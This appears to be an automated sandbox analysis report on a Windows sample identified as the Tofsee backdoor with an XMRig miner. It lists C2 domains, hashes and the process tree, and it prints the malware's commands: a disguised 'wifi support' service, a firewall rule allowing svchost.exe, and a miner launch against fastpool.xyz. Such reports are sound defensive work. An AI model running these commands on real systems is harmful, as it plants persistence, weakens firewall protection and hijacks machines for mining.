Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/10/2022, 08:12

General

  • Target
    file.exe
  • Size 229KB
  • Sample221025-j3tztscaa7
  • SHA256 757c5d2bf3fad25af162fc201613cc17f3bc32cffca72941a2acf756eca6d8b9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3852
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kqljpsic\
      2⤵
        PID:4796
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\smctwuxg.exe" C:\Windows\SysWOW64\kqljpsic\
        2⤵
          PID:4316
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kqljpsic binPath= "C:\Windows\SysWOW64\kqljpsic\smctwuxg.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5012
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kqljpsic "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4928
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kqljpsic
          2⤵
          • Launches sc.exe
          PID:4968
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4828
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 1036
          2⤵
          • Program crash
          PID:1508
      • C:\Windows\SysWOW64\kqljpsic\smctwuxg.exe
        C:\Windows\SysWOW64\kqljpsic\smctwuxg.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3312
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4480
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2716
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3312 -s 524
          2⤵
          • Program crash
          PID:2596
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3852 -ip 3852
        1⤵
          PID:1668
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3312 -ip 3312
          1⤵
            PID:4336

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                smctwuxg.exe

                • Path C:\Users\Admin\AppData\Local\Temp\smctwuxg.exe
                • Size 11.0MB
                • SHA256 30de092ee29a83f2114337b79f2b7f8877b89eef350354c2f3e7c03409fe2dd4
                • MD5 SHA1 SHA512 SSDEEP

                smctwuxg.exe

                • Path C:\Windows\SysWOW64\kqljpsic\smctwuxg.exe
                • Size 11.0MB
                • SHA256 30de092ee29a83f2114337b79f2b7f8877b89eef350354c2f3e7c03409fe2dd4
                • MD5 SHA1 SHA512 SSDEEP

                memory/2716-177-0x0000000000C40000-0x0000000000D31000-memory.dmp

                memory/2716-172-0x0000000000C40000-0x0000000000D31000-memory.dmp

                memory/3312-149-0x0000000002F0E000-0x0000000002F23000-memory.dmp

                memory/3312-150-0x0000000000400000-0x0000000002C27000-memory.dmp

                memory/3852-136-0x0000000000400000-0x0000000002C27000-memory.dmp

                memory/3852-133-0x0000000002F03000-0x0000000002F19000-memory.dmp

                memory/3852-134-0x0000000002ED0000-0x0000000002EE3000-memory.dmp

                memory/3852-143-0x0000000002F03000-0x0000000002F19000-memory.dmp

                memory/3852-144-0x0000000000400000-0x0000000002C27000-memory.dmp

                memory/4480-159-0x0000000002350000-0x0000000002360000-memory.dmp

                memory/4480-156-0x00000000017F0000-0x00000000017F6000-memory.dmp

                memory/4480-146-0x00000000002C0000-0x00000000002D5000-memory.dmp

                memory/4480-168-0x00000000076E0000-0x00000000076E7000-memory.dmp

                memory/4480-151-0x00000000002C0000-0x00000000002D5000-memory.dmp

                memory/4480-152-0x00000000002C0000-0x00000000002D5000-memory.dmp

                memory/4480-153-0x0000000002000000-0x000000000220F000-memory.dmp

                memory/4480-165-0x0000000007050000-0x000000000745B000-memory.dmp

                memory/4480-162-0x0000000006F00000-0x0000000006F05000-memory.dmp